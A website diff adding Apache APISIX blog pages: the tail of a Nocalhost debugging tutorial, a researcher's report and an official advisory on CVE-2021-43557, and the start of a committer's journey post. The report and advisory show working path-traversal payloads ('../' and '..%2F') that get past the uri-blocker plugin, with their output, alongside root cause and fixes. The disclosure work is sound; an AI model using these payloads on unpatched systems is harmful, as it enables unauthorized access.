+<p>After exiting the development mode, Nocalhost will reset the remote container to its original state (before the code is modified). In this way, after exiting the development mode, the modification of the code will <strong>not</strong> cause any changes or impact on the original environment.</p>
+<h2 id="debugging">Debugging</h2>
+<p>Debugging an application is not easy, and debugging an application in the Kubernetes cluster is even more difficult. Nocalhost is here to help by providing the same debugging experience you’re used in the IDE when debugging in the remote Kubernetes cluster.</p>
+<h3 id="step-1-start-remote-debugging">Step 1: Start remote debugging</h3>
+<p>We can start remote debugging by:</p>
+<ol>
+<li>Right-click <code>apisix-ingress-controller</code> and choose <strong><code>Remote Debug</code></strong></li>
+<li>Nocalhost will put <code>apisix-ingress-controller</code> into DevMode and run debug command defined in <a href="https://nocalhost.dev/zh-CN/docs/config/config-develop"><code>dev config</code></a> automatically</li>
+</ol>
+<p><img src="https://static.apiseven.com/202108/1637132327260-7bba1d81-cf70-4982-9a07-51cc379e6bea.gif" alt="Start remote debugging"></p>
+<h3 id="step-2-step-through-breakpoints">Step 2: Step through breakpoints</h3>
+<p>Now set a breakpoint on the <code>healthz</code> function. Hover over just to the left of the line number and click on the red dot. Once it’s set, visit <a href="http://127.0.0.1:8080/healthz"><code>http://127.0.0.1:8080/healthz</code></a> in your local browser, GoLand should pop to the foreground. Click the play button to close the request and the progress should continue loading.</p>
+<p>In addition, as I enable the <code>dev.hotReload</code>, so every time you make the code change, Nocalhost will automatically re-run the debug command. This is very useful when you make the code change and debug frequently.</p>
+<p><img src="https://static.apiseven.com/202108/1637132455552-86f44c0c-94d1-4ad9-a79d-0e2c6957d60b.gif" alt="Setting up breakpoints and run service"></p>
+<h2 id="remote-run">Remote Run</h2>
+<p>Not just remote debugging, Nocalhost also provides an easy way to run your Go service in the Kubernetes cluster, plus hot reload!</p>
+<p>You can using the remote run feature by:</p>
+<ol>
+<li>Right-click <code>apisix-ingress-controller</code> in cluster inspector, choose <strong><code>Remote Run</code></strong></li>
+<li>Nocalhost will put <code>apisix-ingress-controller</code> into development mode and and run start command defined in <a href="https://nocalhost.dev/zh-CN/docs/config/config-develop"><code>dev config</code></a> automatically</li>
+</ol>
+<p>Now every time you make code changes, Nocalhost will automatically trigger the run command. You can now enjoy the hot reload for Go without complex configuration.</p>
+<p><img src="https://static.apiseven.com/202108/1637133046432-84810667-c3ee-4d71-8a33-eb1833fd9ce2.gif" alt="Remote run"></p>
+<h2 id="conclusion">Conclusion</h2>
+<p>We’ve learned how to use Nocalhost to develop and debug the APISIX Ingress Controller in Kubernetes. Now, instead of waiting for slow local development processes, we can iterate quickly with an instant feedback loop and a productive cloud-native development environment.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.ap [...]
\ No newline at end of file
diff --git a/blog/2021/11/23/cve-2021-43557-research-report/index.html b/blog/2021/11/23/cve-2021-43557-research-report/index.html
new file mode 100644
index 00000000000..102236e434c
--- /dev/null
+++ b/blog/2021/11/23/cve-2021-43557-research-report/index.html
@@ -0,0 +1,123 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>APISIX request_uri variable with risk of path penetration | Apache APISIX</title><meta name="description" content="This article describes the author's research on the unsafe use of the $request_uri variable in the Apache APISIX Ingress Controller."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/1 [...]
+<p>Research report about Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)</p>
+</blockquote>
+<!--truncate-->
+<p>In this article I will present my research on insecure usage of <code>$request_uri</code> variable in <a href="https://github.com/apache/apisix-ingress-controller/">Apache APISIX</a> ingress controller. My work end up in submit of security vulnerability, which was positively confirmed and got CVE-2021-43557. At the end of article I will mention in short <a href="https://github.com/zalando/skipper">Skipper</a> which I tested for same problem.</p>
+<blockquote>
+<p>Apache APISIX is a dynamic, real-time, high-performance API gateway. APISIX provides rich traffic management features such as load balancing, dynamic upstream, canary release, circuit breaking, authentication, observability, and more.</p>
+</blockquote>
+<p>Why <code>$request_uri</code> ? This <a href="https://nginx.org/en/docs/http/ngx_http_core_module.html#var_request_uri">variable</a> is many times used in authentication and authorization plugins. It’s <strong>not normalized</strong>, so giving a possibility to bypass some restrictions.</p>
+<p>In Apache APISIX there is no typical functionality of external authentication/authorization. You can write your own plugin, but it’s quite complicated. To prove that APISIX is vulnerable to path-traversal I will use <code>uri-blocker</code> plugin. I’m suspecting that other plugins are also vulnerable but this one is easy to use.</p>
+<h2 id="setting-thestage">Setting the stage</h2>
+<p>Install Apache APISIX into Kubernetes. Use Helm Chart with version <strong>0.7.2</strong>:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">helm</span><span style="color:#A5D6FF"> repo</span><span style="color:#A5D6FF"> add</span><span style="color:#A5D6FF"> bitnami</span><span style="color:#A5D6FF"> https://charts.bitnami.com/bitnami</span></span>
+<span class="line"><span style="color:#FFA657">helm</span><span style="color:#A5D6FF"> repo</span><span style="color:#A5D6FF"> update</span></span>
+<span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> create</span><span style="color:#A5D6FF"> ns</span><span style="color:#A5D6FF"> ingress-apisix</span></span>
+<span class="line"><span style="color:#FFA657">helm</span><span style="color:#A5D6FF"> install</span><span style="color:#A5D6FF"> apisix</span><span style="color:#A5D6FF"> apisix/apisix</span><span style="color:#FF7B72"> \</span></span>
+<span class="line"><span style="color:#79C0FF"> --set</span><span style="color:#A5D6FF"> gateway.type=NodePort</span><span style="color:#FF7B72"> \</span></span>
+<span class="line"><span style="color:#79C0FF"> --set</span><span style="color:#A5D6FF"> ingress-controller.enabled=</span><span style="color:#79C0FF">true</span><span style="color:#FF7B72"> \</span></span>
+<span class="line"><span style="color:#79C0FF"> --namespace</span><span style="color:#A5D6FF"> ingress-apisix</span><span style="color:#FF7B72"> \</span></span>
+<span class="line"><span style="color:#79C0FF"> --version</span><span style="color:#79C0FF"> 0.7.2</span></span>
+<span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> get</span><span style="color:#A5D6FF"> service</span><span style="color:#79C0FF"> --namespace</span><span style="color:#A5D6FF"> ingress-apisix</span></span></code></pre>
+<p>In case of problems follow <a href="https://github.com/apache/apisix-ingress-controller/blob/master/docs/en/latest/deployments/minikube.md">official guide</a>.</p>
+<p>To create <em>ingress route</em>, you need to deploy <code>ApisixRoute</code> resource:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#7EE787">apiVersion</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">apisix.apache.org/v2beta1</span></span>
+<span class="line"><span style="color:#7EE787">kind</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">ApisixRoute</span></span>
+<span class="line"><span style="color:#7EE787">metadata</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">public-service-route</span></span>
+<span class="line"><span style="color:#7EE787">spec</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> http</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#7EE787">name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">public-service-rule</span></span>
+<span class="line"><span style="color:#7EE787"> match</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> hosts</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">app.test</span></span>
+<span class="line"><span style="color:#7EE787"> paths</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">/public-service/*</span></span>
+<span class="line"><span style="color:#7EE787"> backends</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#7EE787">serviceName</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">public-service</span></span>
+<span class="line"><span style="color:#7EE787"> servicePort</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">8080</span></span>
+<span class="line"><span style="color:#7EE787"> plugins</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#7EE787">name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">proxy-rewrite</span></span>
+<span class="line"><span style="color:#7EE787"> enable</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">true</span></span>
+<span class="line"><span style="color:#7EE787"> config</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> regex_uri</span><span style="color:#E6EDF3">: [</span><span style="color:#A5D6FF">"/public-service/(.*)"</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"/$1"</span><span style="color:#E6EDF3">]</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#7EE787">name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">protected-service-rule</span></span>
+<span class="line"><span style="color:#7EE787"> match</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> hosts</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">app.test</span></span>
+<span class="line"><span style="color:#7EE787"> paths</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">/protected-service/*</span></span>
+<span class="line"><span style="color:#7EE787"> backends</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#7EE787">serviceName</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">protected-service</span></span>
+<span class="line"><span style="color:#7EE787"> servicePort</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">8080</span></span>
+<span class="line"><span style="color:#7EE787"> plugins</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#7EE787">name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">uri-blocker</span></span>
+<span class="line"><span style="color:#7EE787"> enable</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">true</span></span>
+<span class="line"><span style="color:#7EE787"> config</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> block_rules</span><span style="color:#E6EDF3">: [</span><span style="color:#A5D6FF">"^/protected-service(/?).*"</span><span style="color:#E6EDF3">]</span></span>
+<span class="line"><span style="color:#7EE787"> case_insensitive</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">true</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#7EE787">name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">proxy-rewrite</span></span>
+<span class="line"><span style="color:#7EE787"> enable</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">true</span></span>
+<span class="line"><span style="color:#7EE787"> config</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> regex_uri</span><span style="color:#E6EDF3">: [</span><span style="color:#A5D6FF">"/protected-service/(.*)"</span><span style="color:#E6EDF3">, </span><span style="color:#A5D6FF">"/$1"</span><span style="color:#E6EDF3">]</span></span></code></pre>
+<p>Let’s dive deep into it:</p>
+<ul>
+<li>It creates routes for <code>public-service</code> and <code>private-service</code></li>
+<li>There is <code>proxy-rewrite</code> turned on to remove prefixes</li>
+<li>There is <code>uri-blocker</code> plugin configured for <code>protected-service</code>. It can look like mistake but this plugin it about to block any requests starting with <code>/protected-service</code></li>
+</ul>
+<h2 id="exploitation">Exploitation</h2>
+<p>I’m using Apache APISIX in version <strong>2.10.0</strong>.</p>
+<p>Reaching out to Apache APISIX routes in minikube is quite inconvenient: <code>kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'</code>. To ease my pain I will write small script that will work as template:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#8B949E">#/bin/bash</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> exec</span><span style="color:#79C0FF"> -it</span><span style="color:#79C0FF"> -n</span><span style="color:#A5D6FF"> ingress-apisix</span><span style="color:#A5D6FF"> apisix-dc9d99d76-vl5lh</span><span style="color:#79C0FF"> --</span><span style="color:#A5D6FF"> curl</span><span style="color:#79C0FF"> --path-as-is</span><span style="color:#A5D6FF"> http://127.0.0.1:9080</span><span style="color:#FFA [...]
+<p>In your case replace <code>apisix-dc9d99d76-vl5lh</code> with name of actual Apache APISIX pod.</p>
+<p>Let’s start with validation if routes and plugins are working as expected:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> ./apisix_request.sh</span><span style="color:#A5D6FF"> "/public-service/public"</span></span>
+<span class="line"><span style="color:#FFA657">Defaulted</span><span style="color:#A5D6FF"> container</span><span style="color:#A5D6FF"> "apisix"</span><span style="color:#A5D6FF"> out</span><span style="color:#A5D6FF"> of:</span><span style="color:#A5D6FF"> apisix,</span><span style="color:#A5D6FF"> wait-etcd</span><span style="color:#E6EDF3"> (init)</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span><span style="color:#FFA657">"data"</span><span style="color:#79C0FF">:</span><span style="color:#FFA657">"public data"</span><span style="color:#FFA657">}</span></span></code></pre>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> ./apisix_request.sh</span><span style="color:#A5D6FF"> "/protected-service/protected"</span></span>
+<span class="line"><span style="color:#FFA657">Defaulted</span><span style="color:#A5D6FF"> container</span><span style="color:#A5D6FF"> "apisix"</span><span style="color:#A5D6FF"> out</span><span style="color:#A5D6FF"> of:</span><span style="color:#A5D6FF"> apisix,</span><span style="color:#A5D6FF"> wait-etcd</span><span style="color:#E6EDF3"> (init)</span></span>
+<span class="line"><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">html</span><span style="color:#FF7B72">></span></span>
+<span class="line"><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">head><title</span><span style="color:#FF7B72">></span><span style="color:#E6EDF3">403 Forbidden</span><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">/title></head</span><span style="color:#FF7B72">></span></span>
+<span class="line"><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">body</span><span style="color:#FF7B72">></span></span>
+<span class="line"><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">center><h</span><span style="color:#FF7B72">1></span><span style="color:#E6EDF3">403 Forbidden</span><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">/h1></center</span><span style="color:#FF7B72">></span></span>
+<span class="line"><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">hr><center</span><span style="color:#FF7B72">></span><span style="color:#E6EDF3">openresty</span><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">/center</span><span style="color:#FF7B72">></span></span>
+<span class="line"><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">/body</span><span style="color:#FF7B72">></span></span>
+<span class="line"><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">/html</span><span style="color:#FF7B72">></span></span></code></pre>
+<p>Yep. <code>public-service</code> is available and <code>protected-service</code> is blocked by plugin.</p>
+<p>Now let’s test payloads:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> ./apisix_request.sh</span><span style="color:#A5D6FF"> "/public-service/../protected-service/protected"</span></span>
+<span class="line"><span style="color:#FFA657">Defaulted</span><span style="color:#A5D6FF"> container</span><span style="color:#A5D6FF"> "apisix"</span><span style="color:#A5D6FF"> out</span><span style="color:#A5D6FF"> of:</span><span style="color:#A5D6FF"> apisix,</span><span style="color:#A5D6FF"> wait-etcd</span><span style="color:#E6EDF3"> (init)</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span><span style="color:#FFA657">"data"</span><span style="color:#79C0FF">:</span><span style="color:#FFA657">"protected data"</span><span style="color:#FFA657">}</span></span></code></pre>
+<p>and second one:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> ./apisix_request.sh</span><span style="color:#A5D6FF"> "/public-service/..%2Fprotected-service/protected"</span></span>
+<span class="line"><span style="color:#FFA657">Defaulted</span><span style="color:#A5D6FF"> container</span><span style="color:#A5D6FF"> "apisix"</span><span style="color:#A5D6FF"> out</span><span style="color:#A5D6FF"> of:</span><span style="color:#A5D6FF"> apisix,</span><span style="color:#A5D6FF"> wait-etcd</span><span style="color:#E6EDF3"> (init)</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span><span style="color:#FFA657">"data"</span><span style="color:#79C0FF">:</span><span style="color:#FFA657">"protected data"</span><span style="color:#FFA657">}</span></span></code></pre>
+<p>As you can see in both cases I was able to bypass uri restrictions.</p>
+<h3 id="root-cause">Root cause</h3>
+<p><code>uri-blocker</code> plugin is using <code>ctx.var.request_uri</code> variable in logic of making blocking decision. You can check it in <a href="https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98">code</a>:</p>
+<p><img src="https://static.apiseven.com/202108/1637634166887-e3805291-5b00-4b7b-9936-0490266f4ed8.png" alt="Cause"></p>
+<h3 id="impact">Impact</h3>
+<ul>
+<li>Attacker can bypass access control restrictions and perform successful access to routes that shouldn’t be able to;</li>
+<li>Developers of custom plugins have no knowledge that <code>ngx.var.request_uri</code> variable is untrusted.</li>
+</ul>
+<p>Search for usage of <code>var.request_uri</code> gave me a hint that maybe <a href="https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/authz-keycloak.md">authz-keycloak plugin</a> is affected. You can see <a href="https://github.com/apache/apisix/blob/a3d42e66f60673e408cab2e2ceedc58aee450776/apisix/plugins/authz-keycloak.lua#L578">this code</a>, it looks really nasty. If there is no normalization on keycloak side, then there is high potential for vulnerablity.</p>
+<h3 id="mitigation">Mitigation</h3>
+<p>In case of custom plugins, I suggest to do path normalization before using <code>ngx.var.request_uri</code> variable. There are also two other variables, high probably normalized, to check <code>ctx.var.upstream_uri</code> and <code>ctx.var.uri</code>.</p>
+<h2 id="skipper">Skipper</h2>
+<p>Skipper is another ingress controller that I have investigated. It’s not easy to install it in kubernetes, because deployment guide and helm charts are outdated. Luckily I have found issue page where developer was describing how to install it. This ingress gives possibility to implement external authentication based on <a href="https://opensource.zalando.com/skipper/reference/filters/#webhook">webhook filter</a>:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#7EE787">apiVersion</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">networking.k8s.io/v1</span></span>
+<span class="line"><span style="color:#7EE787">kind</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">Ingress</span></span>
+<span class="line"><span style="color:#7EE787">metadata</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">my-ingress</span></span>
+<span class="line"><span style="color:#7EE787"> annotations</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> zalando.org/skipper-filter</span><span style="color:#E6EDF3">: </span><span style="color:#FF7B72">|</span></span>
+<span class="line"><span style="color:#A5D6FF"> modPath("^/.*/", "/") -> setRequestHeader("X-Auth-Request-Redirect", "${request.path}") -> webhook("http://auth-service.default.svc.cluster.local:8080/verify")</span></span></code></pre>
+<p>To add some interesting headers that could help in access control decision, you need to do it manually with <code>setRequestHeader</code> filter. There is template available to inject variable by <code>${}</code>. Sadly (for attackers) <code>${request.path}</code> is having normalized path. I see in code that developers are not using <em>easily</em> <code>RequestURI</code> or <code>originalRequest</code>.</p>
+<p>I wasn’t able to exploit path traversal in this case. Skipper remains safe.</p>
+<h2 id="summary">Summary</h2>
+<p>Apache APISIX is vulnerable for path traversal. It’s not affecting any external authentication, but plugins that are using <code>ctx.var.request_uri</code> variable.</p>
+<p>Whole code of this example is here <a href="https://github.com/xvnpw/k8s-CVE-2021-43557-poc">https://github.com/xvnpw/k8s-CVE-2021-43557-poc</a>.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="htt [...]
\ No newline at end of file
diff --git a/blog/2021/11/23/cve-2021-43557/index.html b/blog/2021/11/23/cve-2021-43557/index.html
new file mode 100644
index 00000000000..46f736654b9
--- /dev/null
+++ b/blog/2021/11/23/cve-2021-43557/index.html
@@ -0,0 +1,36 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Apache APISIX Path traversal in request_uri variable(CVE-2021-43557) | Apache APISIX</title><meta name="description" content="Using the $request_uri variable in the Apache APISIX Ingress Controller, there is a processing announcement that "bypasses some restrictions" leading to the risk of path penetration."><meta name="robots" content="index,foll [...]
+<p>In versions prior to Apache APISIX 2.10.2, there was a problem of “bypassing partial restrictions” that caused the risk of path penetration by using the $request_uri variable in Apache APISIX Ingress Controller.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="problem-description">Problem Description</h2>
+<p>In versions prior to Apache APISIX 2.10.2, there was a problem of “bypassing partial restrictions” that caused the risk of path penetration by using the $request_uri variable in Apache APISIX Ingress Controller.</p>
+<p>When using the <code>uri-blocker</code> plug-in to test the scenario, we found that:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> ./apisix_request.sh</span><span style="color:#A5D6FF"> "/public-service/public"</span></span>
+<span class="line"><span style="color:#FFA657">Defaulted</span><span style="color:#A5D6FF"> container</span><span style="color:#A5D6FF"> "apisix"</span><span style="color:#A5D6FF"> out</span><span style="color:#A5D6FF"> of:</span><span style="color:#A5D6FF"> apisix,</span><span style="color:#A5D6FF"> wait-etcd</span><span style="color:#E6EDF3"> (init)</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span><span style="color:#FFA657">"data"</span><span style="color:#79C0FF">:</span><span style="color:#FFA657">"public data"</span><span style="color:#FFA657">}</span></span></code></pre>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> ./apisix_request.sh</span><span style="color:#A5D6FF"> "/protected-service/protected"</span></span>
+<span class="line"><span style="color:#FFA657">Defaulted</span><span style="color:#A5D6FF"> container</span><span style="color:#A5D6FF"> "apisix"</span><span style="color:#A5D6FF"> out</span><span style="color:#A5D6FF"> of:</span><span style="color:#A5D6FF"> apisix,</span><span style="color:#A5D6FF"> wait-etcd</span><span style="color:#E6EDF3"> (init)</span></span>
+<span class="line"><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">html</span><span style="color:#FF7B72">></span></span>
+<span class="line"><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">head><title</span><span style="color:#FF7B72">></span><span style="color:#E6EDF3">403 Forbidden</span><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">/title></head</span><span style="color:#FF7B72">></span></span>
+<span class="line"><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">body</span><span style="color:#FF7B72">></span></span>
+<span class="line"><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">center><h</span><span style="color:#FF7B72">1></span><span style="color:#E6EDF3">403 Forbidden</span><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">/h1></center</span><span style="color:#FF7B72">></span></span>
+<span class="line"><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">hr><center</span><span style="color:#FF7B72">></span><span style="color:#E6EDF3">openresty</span><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">/center</span><span style="color:#FF7B72">></span></span>
+<span class="line"><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">/body</span><span style="color:#FF7B72">></span></span>
+<span class="line"><span style="color:#FF7B72"><</span><span style="color:#E6EDF3">/html</span><span style="color:#FF7B72">></span></span></code></pre>
+<p>In both scenarios, <code>public-service</code> is available and <code>protected-service</code> is blocked by plug-ins. After the verification and testing of the above scenarios, it is found that both cases can bypass the limitations of Uri.</p>
+<p>Due to the improper use of <code>ctx.var.require_uri</code> variables by the <code>uri-blocker</code> plug-in, the following results:</p>
+<ul>
+<li>Attacker can bypass access control restrictions and perform successful access to routes that shouldn’t be able to;</li>
+<li>Developers of custom plugins have no knowledge that <code>ngx.var.request_uri</code> variable is untrusted.</li>
+</ul>
+<h2 id="affected-versions">Affected Versions</h2>
+<p>All versions of Apache APISIX prior to 2.10.2 (excluding 2.10.2)</p>
+<h2 id="solution">Solution</h2>
+<p>This issue has been resolved in version <a href="http://apisix.apache.org/downloads/">2.10.2</a> +, please update to the relevant version as soon as possible.</p>
+<p>In case of custom plugins, we suggest to do path normalization before using <code>ngx.var.request_uri</code> variable. There are also two other variables, high probably normalized, to check <code>ctx.var.upstream_uri</code> and <code>ctx.var.uri</code>.</p>
+<h2 id="vulnerability-details">Vulnerability details</h2>
+<p>Vulnerability public date: November 22, 2021
+CVE details: <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-43557">https://nvd.nist.gov/vuln/detail/CVE-2021-43557</a></p>
+<h2 id="contributor-profile">Contributor Profile</h2>
+<p>The vulnerability was discovered by community user Marcin Niemiec (GitHub<a href="https://github.com/xvnpw">@xvnpw</a>) and reported to the Apache Software Foundation in a timely manner.</p>
+<p>Thanks to Marcin Niemiec for his contribution to the Apache APISIX community.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https:/ [...]
\ No newline at end of file
diff --git a/blog/2021/11/26/apache-apisix-committer-experience/index.html b/blog/2021/11/26/apache-apisix-committer-experience/index.html
new file mode 100644
index 00000000000..d57fee4813d
--- /dev/null
+++ b/blog/2021/11/26/apache-apisix-committer-experience/index.html
@@ -0,0 +1,23 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Contributer to Committer journey @Apache APISIX | Apache APISIX</title><meta name="description" content="This article describes how Shivam Singh has grown from contributor to Apache Committer in the Apache APISIX community from a personal perspective."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/20 [...]
+<p>In this article, Shivam Singh (<a href="https://github.com/1502shivam-singh">@1502shivam-singh</a>) gives a brief of his journey from starting out in the Apache APISIX community, from a contributor to an Apache member and APISIX committer. His journey can help other people looking to startup in the Apache APISIX community or Open Source in general.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="about-me">About me</h2>
+<p>Hello reader,<br>
+I am <strong>Shivam Singh</strong>, an undergraduate student from <strong>Indian Institute of Information Technology, Una, India</strong>. I recently became a <strong>Committer at Apache APISIX</strong>, and hence a <strong>member of the Apache Software Foundation</strong>. I’m a Full-stack Engineer and Product designer who believes that every great product is a culmination of Engineering & Design with a blend of art to bring visual delight while effectively & efficiently solvi [...]
+<p>My interest lies in all things creative and <strong>love to create products</strong>, starting straight from bare conceptualisation till product completion and delivery, covering all things engineering and design in between.</p>
+<p>Apart from this I am an art and music connoisseur. Sometimes, you can find me listening to the same hiphop playlist for hours trying to make sense of every lyric and catching all the rhymes and double entendres in between. But enough about me, let’s dwell into my journey as that’s why you are reading probably (will try my best to keep it short).</p>
+<h2 id="exploring-beyond-boundaries">Exploring beyond boundaries</h2>
+<p>I have had a great time at Apache APISIX, working alongside highly cooperative, kind and humble people and feel writing down this journey of mine here would be a great starting point for anyone looking to enter this eternal space of Open Source with Apache APISIX. Though I believe everyone has their very own different journey and we can’t just generalize, I will try to mention some points along that can help anyone irrespective, in easing their exploration struggles.</p>
+<p>So it all started from February, 2021. I was looking around GitHub to find OSS projects to contribute to, so as to use my knowledge for something that actually provides value to users. I would recommend people to check out the GSoC organisations page, try online searches or look for some GitHub repos that have a list of organisations for getting a starting point. Of Course you can contribute to projects randomly online, but I think this could be an efficient method. After looking arou [...]
+<h2 id="new-perspective-to-apisix">New perspective to APISIX</h2>
